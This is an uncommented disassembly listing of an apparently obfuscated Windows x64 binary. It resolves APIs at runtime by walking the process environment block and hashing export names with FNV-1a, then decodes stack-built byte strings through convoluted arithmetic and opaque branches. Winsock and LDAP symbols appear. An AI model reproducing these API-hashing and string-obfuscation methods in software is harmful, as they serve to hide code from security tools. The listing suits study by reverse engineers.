mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140128269
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x140128269
mov esi, r12d
mov r14d, r12d
jmp 0x140128230
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x140128222
jmp 0x140128246
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140128239
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140128266
cmp qword [rdi + 0x30], 0
jne 0x14012813d
xor r9d, r9d
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x1401282e3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
cmp rcx, rdx
je 0x1401282ca
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401282ab
cmp r8d, 0x610c0de3
je 0x14012832f
mov r9, qword [r9]
cmp r9, r10
je 0x1401282d9
cmp qword [r9 + 0x30], 0
jne 0x140128293
xor r8d, r8d
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor r9d, r9d
mov r10d, dword [r11 + r8 + 0x20]
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r12d
mov al, byte [rdx]
inc rdx
test al, al
je 0x14012832a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14012830e
cmp ecx, 0xe463da3c
je 0x140128335
inc r9d
jmp 0x1401282f7
mov r8, qword [r9 + 0x30]
jmp 0x1401282dc
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x1401284c2
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401283d6
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401283c8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401283b7
cmp r8d, esi
jne 0x1401284a5
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401284a5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401284a5
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14012842a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012841f
cmp edx, r14d
je 0x140128440
test r9d, r9d
jne 0x14012840a
jmp 0x1401284a5
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401284bb
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401284bb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140128482
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140128474
jmp 0x140128498
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14012848b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401284b8
cmp qword [rdi + 0x30], 0
jne 0x140128386
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe28]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140128645
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140128559
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14012854b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012853a
cmp r8d, esi
jne 0x140128628
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140128628
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140128628
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401285ad
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401285a2
cmp edx, r14d
je 0x1401285c3
test r9d, r9d
jne 0x14012858d
jmp 0x140128628
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x14012863e
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14012863e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140128605
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401285f7
jmp 0x14012861b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14012860e
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012863b
cmp qword [rdi + 0x30], 0
jne 0x140128509
xor r8d, r8d
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
cmp byte [0x1404fba42], 0
jne 0x14012d7cc
mov byte [rbp + 0xa10], 0x9b
mov byte [rbp + 0xa11], 0x59
mov r15d, 0x80
mov byte [rbp + 0xa12], r15b
mov byte [rbp + 0xa13], 0x5b
mov byte [rbp + 0xa14], 0xa0
mov byte [rbp + 0xa15], 0x45
mov byte [rbp + 0xa16], 0xbb
mov byte [rbp + 0xa17], 0x47
mov byte [rbp + 0xa18], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa19], 0x41
mov byte [rbp + 0xa1a], 0xaf
mov byte [rbp + 0xa1b], 0x43
mov byte [rbp + 0xa1c], 0xde
mov byte [rbp + 0xa1d], Ordinal_79
mov byte [rbp + 0xa1e], 0xdd
mov byte [rbp + 0xa1f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa20], 0xac
mov byte [rbp + 0xa21], Ordinal_79
mov byte [rbp + 0xa22], 0x86
mov byte [rbp + 0xa23], Ordinal_79
mov byte [rbp + 0xa24], 0x99
mov byte [rbp + 0xa25], 0x75
mov byte [rbp + 0xa26], 0x98
mov byte [rbp + 0xa27], 0x77
mov byte [rbp + 0xa28], __WSAFDIsSet
mov byte [rbp + 0xa29], WSACleanup
mov byte [rbp + 0xa2a], 0xef
mov byte [rbp + 0xa2b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa2c], 0xe8
mov byte [rbp + 0xa2d], 0x7d
mov byte [rbp + 0xa2e], 0xe2
mov byte [rbp + 0xa2f], 0x7f
mov byte [rbp + 0xa30], 0x9c
mov byte [rbp + 0xa31], 0x79
mov byte [rbp + 0xa32], 0xbb
mov byte [rbp + 0xa33], 0x7b
mov byte [rbp + 0xa34], 0xf4
mov byte [rbp + 0xa35], 0x65
mov byte [rbp + 0xa36], 0xf6
mov byte [rbp + 0xa37], 0x67
mov byte [rbp + 0xa38], 0xac
mov byte [rbp + 0xa39], 0x61
mov byte [rbp + 0xa3a], 0x83
mov byte [rbp + 0xa3b], 0x63
mov byte [rbp + 0xa3c], 0xf0
mov byte [rbp + 0xa3d], WSASetLastError
mov byte [rbp + 0xa3e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xa3f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xa40], Ordinal_143
mov byte [rbp + 0xa41], WSAGetLastError
mov byte [rbp + 0xa42], 0xa7
mov byte [rbp + 0xa43], WSASetLastError
mov byte [rbp + 0xa44], 0x88
mov byte [rbp + 0xa45], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xa46], 0xfe
mov byte [rbp + 0xa47], reloc.WS2_32.dll_socket
mov byte [rbp + 0xa48], 0xfd
mov byte [rbp + 0xa49], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xa4a], r15b
mov byte [rbp + 0xa4b], reloc.WS2_32.dll_send
mov byte [rbp + 0xa4c], 0xfd
mov byte [rbp + 0xa4d], Ordinal_32
mov byte [rbp + 0xa4e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xa4f], Ordinal_32
mov byte [rbp + 0xa50], 0xfa
mov byte [rbp + 0xa51], Ordinal_27
mov byte [rbp + 0xa52], 0xf3
mov byte [rbp + 0xa53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xa54], __WSAFDIsSet
mov byte [rbp + 0xa55], 5
mov byte [rbp + 0xa56], 6
mov byte [rbp + 0xa57], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa58], xmm0
mov qword [rbp + 0xa68], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor r11d, r11d
lea r12d, [r11 + 1]
cmp r11, 0x60
jae 0x1401292d5
movzx r8d, byte [rbp + r11 + 0xa10]
mov edx, r8d
cmp rbx, r11
ja 0x1401292cc
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401288e1
movabs rsi, 0xe2ff43c1b0c1bb8c
lea rcx, [r11 + rsi]
mov eax, edx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x2c
jmp 0x14012891b
je 0x140129249
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401291f7
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140129197
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140129170
mov r10b, dil
movabs rsi, 0xe2ff43c1b0c1bb8c
cmp r9, r11
ja 0x1401292c3
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140128951
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r11
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x140128988
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140129124
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140129100
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401290dd
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401290b9
mov dil, r10b
lea rax, [r9 + rbx]
cmp rax, r11
jbe 0x140128ce4
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140128cc1
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x140128cad
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140128c89
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x140128c65
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140128c42
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140128c1b
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401292a0
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14012927d
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140128aad
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140128c04
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140128bd5
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140128995
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140128bae
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140128b87
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140128b64
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x140128b3d
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140128b16
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140128af3
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140128ad0
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140128995
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140128988
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x140129142
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14012916b
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012918f
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401291e7
movabs rdx, 0x538d4a07b60e4950
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x140128e08
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140129214
movabs rdx, 0xc7903b00f3075b20
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129266
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r11 + 0xa10], dil
jmp 0x140129275
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140128cfa
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129214
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x140128e08
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x1401291e7
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14012918f
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14012910f
movabs rdx, 0x89af1d39f33e9628
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140129142
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140128db1
lea rdx, [r11 + rsi]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140129056
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140128e99
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, r15
jae 0x14012902e
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140128f3f
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x140128bf7
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140129145
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140128de1
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140129266
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140128e10
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x140129080
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140128e3d
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401291e4
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140128e69
movabs rdx, 0x1bd9c357e75a1870
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x1401291b6
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140128d0a
movabs rdx, 0x6dd559e20be47db8
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x140129142
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140128ec5
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x140129145
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140128ee2
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012910f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140128f0f
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x1401291e7
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140128d47
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
jmp 0x140128e08
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140128f5c
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140128dc9
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140128f88
movabs rcx, 0x41c0c31161150108
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140129214
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140128fb4
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401291e4
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140128fd1
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401291a6
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140128ffd
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, r15b
jmp 0x14012918f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140128d7f
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14012916b
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r11 + 0xa10]
sub dil, al
sub dil, 0x20
jmp 0x1401291b3
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r11 + 0xa10]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xa10], al
add r9, r12
add rax, r9
sub r11, rax
jmp 0x140129214
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x1401291e7
movabs rdx, 0xb6eaacf105f23edc
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x1401291b6
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012916b
movabs rdx, 0x64ef1666e167d994
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r11 + 0xa10], r8b
add r9, r12
jmp 0x14012918f
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r11, r12
jmp 0x140129275
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r11 + 0xa10], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140129275
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r11 + 0xa10], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x140129266
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0xa10]
add rax, r9
add r11, rax
add r11, r12
jmp 0x140128896
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14012888f
movabs rcx, 0x289fac1d7322f8a4
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14012887f
lea rdx, [rbp + 0x16a0c20]
jmp 0x1401292dc
lea rdx, [rbp + 0x6bc7ac]
jmp 0x1401292dc
lea rdx, [rbp + 0xa10]
lea rcx, [rbp - 0x40]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
mov esi, 0x108
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x2050]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140129310
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2050]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2050]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2050]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x8a0], 0x9b
mov byte [rbp + 0x8a1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8a2], 0x90
mov byte [rbp + 0x8a3], 0xdb
mov byte [rbp + 0x8a4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x8a5], Ordinal_217
mov byte [rbp + 0x8a6], 0x7b
mov byte [rbp + 0x8a7], Ordinal_217
mov byte [rbp + 0x8a8], 0x43
mov byte [rbp + 0x8a9], Ordinal_211
mov byte [rbp + 0x8aa], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8ab], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8ac], 0x5e
mov byte [rbp + 0x8ad], Ordinal_211
mov byte [rbp + 0x8ae], 0x5d
mov byte [rbp + 0x8af], Ordinal_211
mov byte [rbp + 0x8b0], WSASetLastError
mov byte [rbp + 0x8b1], 0xc9
mov byte [rbp + 0x8b2], 0x7a
mov byte [rbp + 0x8b3], 0xcb
mov byte [rbp + 0x8b4], Ordinal_79
mov byte [rbp + 0x8b5], Ordinal_200
mov byte [rbp + 0x8b6], 0x64
mov byte [rbp + 0x8b7], Ordinal_200
mov byte [rbp + 0x8b8], 0x54
mov byte [rbp + 0x8b9], 0xc1
mov byte [rbp + 0x8ba], 0x5b
mov byte [rbp + 0x8bb], Ordinal_200
mov byte [rbp + 0x8bc], 0x9f
mov byte [rbp + 0x8bd], 0x3d
mov byte [rbp + 0x8be], 0x9a
mov byte [rbp + 0x8bf], 0x3f
mov byte [rbp + 0x8c0], 0x84
mov byte [rbp + 0x8c1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8c2], 0xa8
mov byte [rbp + 0x8c3], Ordinal_60
mov byte [rbp + 0x8c4], 0xad
mov byte [rbp + 0x8c5], gethostname
mov byte [rbp + 0x8c6], 0xb8
mov byte [rbp + 0x8c7], Ordinal_60
mov byte [rbp + 0x8c8], 0xad
mov byte [rbp + 0x8c9], Ordinal_50
mov byte [rbp + 0x8ca], 0xa0
mov byte [rbp + 0x8cb], gethostname
mov byte [rbp + 0x8cc], 0xbf
mov byte [rbp + 0x8cd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8ce], 0x78
mov byte [rbp + 0x8cf], Ordinal_50
mov byte [rbp + 0x8d0], Ordinal_143
mov byte [rbp + 0x8d1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8d2], 0xb3
mov byte [rbp + 0x8d3], Ordinal_46
mov byte [rbp + 0x8d4], 0xb2
mov r14d, Ordinal_41
mov byte [rbp + 0x8d5], r14b
mov byte [rbp + 0x8d6], Ordinal_41
mov byte [rbp + 0x8d7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x8d8], rax
mov dword [rbp + 0x8e0], eax
mov word [rbp + 0x8e4], ax
mov byte [rbp + 0x8e6], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x140129ffa
movzx r8d, byte [rbp + r9 + 0x8a0]
mov rdx, r8
cmp rdi, r9
ja 0x140129ff1
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14012955a
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x140129591
je 0x140129f6e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140129f3f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140129f1d
lea rax, [r10 + 7]
